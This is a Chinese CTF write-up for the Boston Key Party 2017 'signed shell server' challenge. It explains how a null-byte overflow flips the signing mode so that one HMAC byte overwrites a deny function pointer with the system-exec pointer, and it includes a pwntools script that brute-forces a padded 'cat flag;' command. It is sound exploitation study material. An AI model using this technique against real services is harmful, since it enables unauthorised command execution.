bosten key party 2017 signed shell server writeup

signed shell server

题目

https://github.com/ctfs/write-ups-2017/tree/master/boston-key-party-2017/pwn/signed-shell-server-200

分析

先随便把玩一下,有两个功能,一个是sign,一个是execute,sign会给出一个命令的签名,然后execute给出命令,并给出签名,如果匹配成功就会使用system执行。

保护:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

没有开启PIE,在0x602240位置有一个变量,表示是否使用MD5,不为0则使用HMAC-MD5,否则使用HMAC-SHA1作为签名。

sign的时候先输入命令,只支持ls等几个没有什么用的命令,然后进行HMAC,给出结果作为签名,exeucte的时候同样进行HMAC。由于HMAC使用了flag的值作为key,显然是不可能使用他的sign以外的函数来自行签名的。

有趣的是它的execute函数:

__int64 execute_it()
{
  size_t v0; // r13@6
  char *v1; // rdi@6
  unsigned int v2; // er12@6
  char *v3; // rbx@6
  __int64 v4; // rax@6
  void *v5; // rax@6
  size_t v6; // r13@7
  char *v7; // rdi@7
  unsigned int v8; // er12@7
  char *v9; // rbx@7
  __int64 v10; // rax@7
  void *v11; // rax@7
  void *v12; // rsi@16
  size_t n; // [sp+Ch] [bp-64h]@8
  unsigned int i; // [sp+14h] [bp-5Ch]@13
  int v16; // [sp+18h] [bp-58h]@3
  int v17; // [sp+1Ch] [bp-54h]@5
  void *dest; // [sp+20h] [bp-50h]@3
  void *src; // [sp+28h] [bp-48h]@6
  char *s; // [sp+30h] [bp-40h]@5
  char *s1; // [sp+38h] [bp-38h]@8
  void *buf; // [sp+40h] [bp-30h]@8
  __int64 v23; // [sp+48h] [bp-28h]@1

  v23 = *MK_FP(__FS__, 40LL);
  if ( !exec_guy )
  {
    exec_guy = (__int64)calloc(0x24uLL, 1uLL);
    s_exec_guy = exec_guy;
    m_exec_guy = exec_guy + 1;
    *(_QWORD *)(exec_guy + 20) = deny_command;
    *(_QWORD *)(s_exec_guy + 28) = exec_command;
  }
  v16 = byte_602240;
  dest = (void *)m_exec_guy;
  if ( !byte_602240 )
    dest = (void *)s_exec_guy;
  puts("what command do you want to run?");
  printf(">_ ");
  v17 = read(0, global, 0x100uLL);
  global[(signed __int64)v17] = 0;
  s = global;
  if ( byte_602240 )
  {
    v0 = strlen(s);
    v1 = key;
    v2 = strlen(key);
    v3 = key;
    LODWORD(v4) = EVP_md5(v1, global);
    LODWORD(v5) = HMAC(v4, v3, v2, s, v0, 0LL);
    src = v5;
  }
  else
  {
    v6 = strlen(s);
    v7 = key;
    v8 = strlen(key);
    v9 = key;
    LODWORD(v10) = EVP_sha1(v7, global);
    LODWORD(v11) = HMAC(v10, v9, v8, s, v6, 0LL);
    src = v11;
  }
  memcpy(dest, src, (unsigned int)n);
  s1 = (char *)calloc(1uLL, (unsigned int)(2 * n + 1));
  buf = calloc(1uLL, (unsigned int)(2 * n + 1));
  printf("gimme signature:\n>_ ");
  v17 = read(0, buf, (unsigned int)(2 * n + 1));
  for ( HIDWORD(n) = 0; (unsigned int)(2 * n + 1) > HIDWORD(n); ++HIDWORD(n) )
  {
    if ( *((_BYTE *)buf + SHIDWORD(n)) == 10 )
    {
      *((_BYTE *)buf + SHIDWORD(n)) = 0;
      break;
    }
  }
  for ( i = 0; i < (unsigned int)n; ++i )
    sprintf(&s1[2 * i], "%02x", *((_BYTE *)src + i));
  v12 = buf;
  if ( !strcmp(s1, (const char *)buf) )
    (*(void (__fastcall **)(char *, void *))(m_exec_guy + 27))(global, v12);
  else
    (*(void (__fastcall **)(char *, void *))(m_exec_guy + 19))(global, v12);
  puts(byte_40165B);
  return *MK_FP(__FS__, 40LL) ^ v23;
}

漏洞

  1. global这个变量存在一个null byte overflow,会多出一个字节
  2. 这个execute_guy,大概结构是:
struct ExecuteGuy {
  char buf[20];
  void* deny_func;
  void* execute_func;
}

在使用md5时exec_guy将会后移一位,而sha1则不会
另外,deny的函数位于0x400d36,exec的函数位于0x400d5b,只有最后一个字节不同。
3. sha1比md5长,将会是20字节大小

在exec的时候,触发null byte overflow会导致use_md5为0,但是exec_guy已经初始化结束了,所以之前选择的是MD5会导致使用的是exec_guy + 1,这样的话,sha1加密会导致最后一个字节溢出到deny_func中去,而deny_func和exec_func的字节只有最后一位不一样,所以只需要产生一个加密后最后一个字节为exec_func的最低位的shell 命令,溢出后执行deny_func会去执行exec,也就是system,最后就可以得到flag了

exp.py

from pwn import *
import string
context(os='linux', arch='amd64', log_level='debug')

DEBUG = 1
GDB = 1
if DEBUG:
    pass
#    p_global = process("./sss")

def sign(p, command, possible=True):
    p.recvuntil('>_')
    p.sendline('1')
    p.recvuntil('>_')
    p.sendline(command)
    if possible:
        p.recvuntil('signature: \n')
        sig = p.recvline()[:-1]
    else:
        return
    return sig

def execute(p, command, sig):
    p.recvuntil('>_')
    p.sendline('2')
    p.recvuntil('>_')
    p.sendline(command)
    p.recvuntil('>_')
    p.sendline(sig)
    return p.recvline()[:-1]

def fuzz(test_str, len_max):
    for x in string.printable:
        with process("./sss") as p:
            try:
                res = execute(p, (test_str + x).ljust(255, 'a'), 'abc')
                if 'flag{' not in res:
                    continue
                log.success(res)
                return
            except:
                continue


    if len_max == len(test_str):
        return



def main():
    if GDB:
        raw_input()
    fuzz('cat flag;', 12)

if __name__ == "__main__":
    main()
展开阅读全文

没有更多推荐了,返回首页

©️2019 CSDN 皮肤主题: 大白 设计师: CSDN官方博客
应支付0元
点击重新获取
扫码支付

支付成功即可阅读